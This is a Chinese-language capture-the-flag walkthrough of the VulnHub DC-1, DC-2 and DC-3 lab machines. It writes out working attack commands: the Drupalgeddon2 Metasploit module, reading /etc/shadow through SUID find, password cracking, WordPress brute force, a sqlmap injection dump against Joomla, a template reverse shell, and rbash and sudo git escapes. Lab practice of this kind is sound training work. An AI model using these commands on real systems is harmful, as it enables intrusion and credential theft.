「 DC 」是 vulnhub 上的系列靶机,因为参加的某个培训课程用 DC1-3 这三个环境作为练习题目,所以在此记录一下复现的过程
网络设置
靶机使用的是静态 IP 地址和虚拟机的「桥接网络」模式,这个模式会把宿主机所在网段的 IP 分配给虚拟机,而宿主机所在的网段未必和靶机设置的静态网段相同,这就导致网卡无法正常启动
那么首先要进入系统修改 /etc/network/interfaces 文件,改成 DHCP 的方式获取 IP。因为靶机没有提供系统用户密码,我们需要修改 GRUB 的启动参数进入系统1
以靶机的 Debian 系统为例(其他系统会有区别),进入启动菜单后按 e 编辑

找到 ro( read-only ),改成「可写」权限并指定启动 shell
rw signie init=/bin/bash


进入系统后编辑 /etc/network/interfaces,把 eth0 网卡改成 DHCP
allow-hotplug eth0
iface eth0 inet dhcp
自动获取 IP
dhclient eth0
然后重启
DC-1
nmap -sV
收集端口信息
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp open http Apache httpd 2.2.22 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80 端口是 Drupal CMS,应该是 CVE-2018-7600 但是我用 nuclei 没扫出来🤔
用 metasploit 的 drupal_drupalgeddon2 模块直接拿到 shell
use unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.124.5
run
...
meterpreter > shell -it
网站根目录 flag1.txt 中有提示
Every good CMS needs a config file - and so do you.
根据提示搜一下配置文件
find . -name settings*
# ./sites/default/settings.php
<?php
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
...
尝试登录 mysql,注意 -p
参数和密码间不要有空格
mysql -udbuser -pR0ck3t
在 drupaldb.users 表里找到三个用户,密码都是经过加密的
name | pass |
---|---|
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
test | $S$DTwWb.MjZ8ihU.gMo1vZu32NCKL5p6YJpDVqgorKBibR/bdHK6/k |
直接破解密文比较难,而且官方提供了密码的加密脚本,我们可以用脚本加密一个新密码替换 admin 的原密码2
www-data@DC-1:/var/www$ php ./scripts/password-hash.sh 1234
password: 1234 hash: $S$DztFxVCdeC3ja0/0GJ.ZkDa01hC/FD5zgb6Ar3/vb1Gzfqu2rhAK
mysql> update drupaldb.users set pass='$S$DztFxVCdeC3ja0/0GJ.ZkDa01hC/FD5zgb6Ar3/vb1Gzfqu2rhAK' where name='admin';
修改密码后登录后台,在 Content 页找到 flag3,又是新的提示
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
这里 PERMS 和 FIND 两个大写单词给了提示,应该是用 find 的 SUID 提权读取 shadow 文件内容
find . -exec cat /etc/shadow \; -quit
root:$6$91zYUPrB$A/i0KqmGAi.forD5idrSFrDlPGLDoHr33g0gTfW8oJsCBptPsNRNoc0XoqkCwvFU4XMqrocm4KYtPBLqorFpW0:19823:0:99999:7:::
daemon:*:17946:0:99999:7:::
bin:*:17946:0:99999:7:::
sys:*:17946:0:99999:7:::
sync:*:17946:0:99999:7:::
games:*:17946:0:99999:7:::
man:*:17946:0:99999:7:::
lp:*:17946:0:99999:7:::
mail:*:17946:0:99999:7:::
news:*:17946:0:99999:7:::
uucp:*:17946:0:99999:7:::
proxy:*:17946:0:99999:7:::
www-data:*:17946:0:99999:7:::
backup:*:17946:0:99999:7:::
list:*:17946:0:99999:7:::
irc:*:17946:0:99999:7:::
gnats:*:17946:0:99999:7:::
nobody:*:17946:0:99999:7:::
libuuid:!:17946:0:99999:7:::
Debian-exim:!:17946:0:99999:7:::
statd:*:17946:0:99999:7:::
messagebus:*:17946:0:99999:7:::
sshd:*:17946:0:99999:7:::
mysql:!:17946:0:99999:7:::
flag4:$6$Nk47pS8q$vTXHYXBFqOoZERNGFThbnZfi5LN0ucGZe05VMtMuIFyqYzY/eVbPNMZ7lpfRVc0BYrQ0brAhJoEzoEWCKxVW80:17946:0:99999:7:::
拿到 shadow 的内容后直接给 john 破解得到弱口令
❯ john dc1-shadow
...
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
123456 (root)
orange (flag4)
先 ssh 登录 root,然后找到 /root/thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
啊?通关了?那 flag4 是啥?
登录 flag4 有个提示 /home/flag4/flag4.txt 🤔
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
DC-2
nmap 扫一下只扫到 80 端口,直接用 IP 访问会被重定向到 http://dc-2/
,需要修改 hosts 文件
进去后知道这是个 WordPress 站点,并且找到第一个提示(flag 1)

首先 nuclei 扫一下 WordPress,用 wpscan 也行,但是 arch 源仓库的 wpscan 貌似出了个 bug

还是用 wpscan 扫比较好,nuclei 着重漏洞「检测」而不是「利用」,扫出来的用户名不全
如何你和我一样用的是 Arch 系统,从源仓库下载的 wpscan 可能会出现错误
cannot load such file -- ffi_c
直接用 gem(ruby 的包管理器)来下载就没问题了
gem install wpscan
wpscan --url http://dc-2 -e

扫出来一个登录页和用户名枚举漏洞,再联系到 flag1 提示的 cewl 是一个字典生成工具,所以尝试对枚举出来的用户名进行暴力破解
先构建一个密码字典,然后结合 wpscan 扫出来的用户名暴力破解
cewl -w pass.txt http://dc-2
wpscan --url http://dc-2 -U admin,jerry,tom -P pass.txt
tom 和 jerry 都扫出来了弱口令

登录进去找到新提示,似乎 WordPress 这条路是走不通的,得另辟蹊径

发现一开始用 nmap 的默认参数扫端口漏了一个,应该扫全端口的😅
PORT | STATE | SERVICE | VERSION |
---|---|---|---|
80/tcp | open | http | Apache httpd 2.4.10 ((Debian)) |
7744/tcp | open | ssh | OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0) |
尝试一下发现 tom 的 wordpress 密码和 ssh 密码相同,直接登录
ssh tom@dc-2 -p 7744
发现 shell 是 rbash,很多命令无法使用,可以用 compgen -c
看看可以执行的命令有哪些
看到可以运行 vi(其实运行的是 vim)那么参考 GTFOBins 进行提权
vi --cmd ':set shell=/bin/bash|:shell'
之后再执行命令会显示 command not found
但其实已经拿到功能完整的 bash shell 了,更新一下 PATH 环境变量即可执行常用命令
export PATH=/bin:/sbin:/usr/bin:/usr/sbin
cat flag3.txt
# Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
根据 flag3 的提示使用 su 切换到 jerry 用户,密码是之前扫出来的 wordpress 密码,读到 flag4(tom 也能读到)
cat /home/jerry/flag4.txt
# Good to see that you've made it this far - but you're not home yet.
# You still need to get the final flag (the only flag that really counts!!!).
# No hints here - you're on your own now. :-)
# Go on - git outta here!!!!
还有最后一个 flag,而且提示了 git,自然想到利用 git 提权
首先检查一下 jerry 的 sudo 列表,可以执行 git(tom 没有 sudo 权限)
sudo -l
# User jerry may run the following commands on DC-2:
# (root) NOPASSWD: /usr/bin/git
虽然不允许设置 PAGER 环境变量,但可以先进入默认 pager 再执行命令
sudo git -p help config
!/bin/bash
cat /root/final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.
DC-3
先扫一下全端口,这次确定只有一个 80,是一个 Joomla 站点

nuclei 直接扫出来后台和 CVE-2017-8917

用 sqlmap 翻一下数据库,找到 admin 的用户名密码
sqlmap -u http://192.168.220.165/index.php\?option\=com_fields\&view\=fields\&layout\=modal\&list\[fullordering\]\=x\* -D joomladb -T '#__users' -C name,username,password --dump --batch

Joomla 的密码用 bcrypt 加密过,一开始我想的是像前面 DC-1 一样修改 admin 的密码,但不知道是不是表名有特殊符号的问题,用 sqlmap 一直没有修改成功。然后改用 john 破解出密码为 snoopy
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > pass && john pass
拿到管理员密码后登录 joomla 后台,可以修改模板文件,通过 PHP 反弹 shell3

访问 /templates/beez3/error.php 页面触发,拿到 www-data 用户权限的 shell
下一步是提权,把 linux-exploit-suggester 脚本传上去检查一下,发现不少提权风险点,我这边用了 PwnKit

需要把 poc 源码传到靶机上面编译,不然可能因为 CPU 架构不同执行不了。提权成功后拿到 root 用户目录下的 flag
